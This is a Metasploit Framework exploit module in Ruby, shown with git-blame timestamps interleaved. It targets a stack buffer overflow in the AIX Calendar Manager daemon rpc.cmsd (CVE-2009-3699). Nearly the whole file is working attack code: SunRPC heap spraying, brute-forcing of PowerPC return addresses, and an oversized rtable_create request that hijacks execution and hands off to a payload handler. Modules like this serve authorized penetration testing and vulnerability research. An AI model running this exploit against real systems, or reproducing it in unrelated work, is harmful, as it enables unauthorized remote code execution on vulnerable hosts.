2010-02-08 00:44:54 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-02-08 00:44:54 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::SunRPC
|
|
|
|
include Msf::Exploit::Brute
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow vulnerability in opcode 21 handled by
|
|
|
|
rpc.cmsd on AIX. By making a request with a long string passed to the first
|
|
|
|
argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This
|
|
|
|
leads to arbitrary code execution.
|
2010-07-01 23:33:07 +00:00
|
|
|
|
2010-05-24 22:22:04 +00:00
|
|
|
NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where
|
|
|
|
further attempts are not possible.
|
2010-02-08 00:44:54 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Rodrigo Rubira Branco (BSDaemon)',
|
|
|
|
'jduck',
|
|
|
|
],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-3699' ],
|
|
|
|
[ 'OSVDB', '58726' ],
|
|
|
|
[ 'BID', '36615' ],
|
|
|
|
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ],
|
|
|
|
[ 'URL', 'http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ]
|
|
|
|
],
|
2010-10-05 23:41:17 +00:00
|
|
|
'Platform' => [ 'aix' ],
|
2010-02-08 00:44:54 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 4104,
|
|
|
|
'BadChars' => "\x00",
|
2010-05-24 22:22:04 +00:00
|
|
|
# The RPC function splits the string by 0x40, watch out!
|
|
|
|
# It's not a payload badchar since we're putting the payload elsewhere...
|
2010-02-08 00:44:54 +00:00
|
|
|
'DisableNops' => true
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[
|
|
|
|
'IBM AIX Version 5.1',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
2010-02-09 00:41:49 +00:00
|
|
|
'AIX' => '5.1',
|
2010-02-08 00:44:54 +00:00
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0x2022dfc8 },
|
2010-05-24 22:22:04 +00:00
|
|
|
#worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 },
|
2010-02-09 04:15:15 +00:00
|
|
|
'Stop' => { 'Ret' => 0x202302c8 },
|
|
|
|
'Step' => 600
|
2010-02-08 00:44:54 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Oct 07 2009'))
|
2010-02-08 00:44:54 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def brute_exploit(brute_target)
|
|
|
|
|
2010-02-09 03:59:20 +00:00
|
|
|
if not @aixpayload
|
|
|
|
datastore['AIX'] = target['AIX']
|
|
|
|
@aixpayload = regenerate_payload.encoded
|
|
|
|
end
|
|
|
|
|
2010-02-09 00:41:49 +00:00
|
|
|
print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret'])
|
|
|
|
|
|
|
|
begin
|
2010-02-08 00:44:54 +00:00
|
|
|
if (not sunrpc_create('udp', 100068, 4))
|
|
|
|
raise RuntimeError, 'sunrpc_create failed'
|
|
|
|
end
|
|
|
|
|
|
|
|
# spray the heap a bit (work around powerpc cache issues)
|
2010-02-09 03:59:20 +00:00
|
|
|
buf = make_nops(1024 - @aixpayload.length)
|
|
|
|
buf << @aixpayload
|
2010-02-08 00:44:54 +00:00
|
|
|
xdr = XDR.encode(buf, buf)
|
|
|
|
10.times {
|
|
|
|
sunrpc_call(7, xdr, 2)
|
|
|
|
}
|
|
|
|
|
2010-06-22 19:11:05 +00:00
|
|
|
#print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5)
|
2010-02-08 00:44:54 +00:00
|
|
|
|
2010-02-09 00:43:56 +00:00
|
|
|
buf = rand_text_alphanumeric(payload_space)
|
2010-02-08 00:44:54 +00:00
|
|
|
buf << [brute_target['Ret']].pack('N')
|
|
|
|
|
|
|
|
xdr = XDR.encode(buf, "")
|
|
|
|
sunrpc_authunix('localhost', 0, 0, [])
|
2010-05-24 22:22:04 +00:00
|
|
|
sunrpc_call(21, xdr, 2)
|
2010-02-08 00:44:54 +00:00
|
|
|
|
2010-02-08 00:52:58 +00:00
|
|
|
handler(sunrpc_callsock)
|
2010-02-08 00:44:54 +00:00
|
|
|
sunrpc_destroy
|
|
|
|
|
|
|
|
rescue Rex::Proto::SunRPC::RPCTimeout
|
2010-02-09 04:15:15 +00:00
|
|
|
# print_error('RPCTimeout')
|
2010-02-08 00:44:54 +00:00
|
|
|
rescue EOFError
|
2010-02-09 04:15:15 +00:00
|
|
|
# print_error('EOFError')
|
2010-02-08 00:44:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|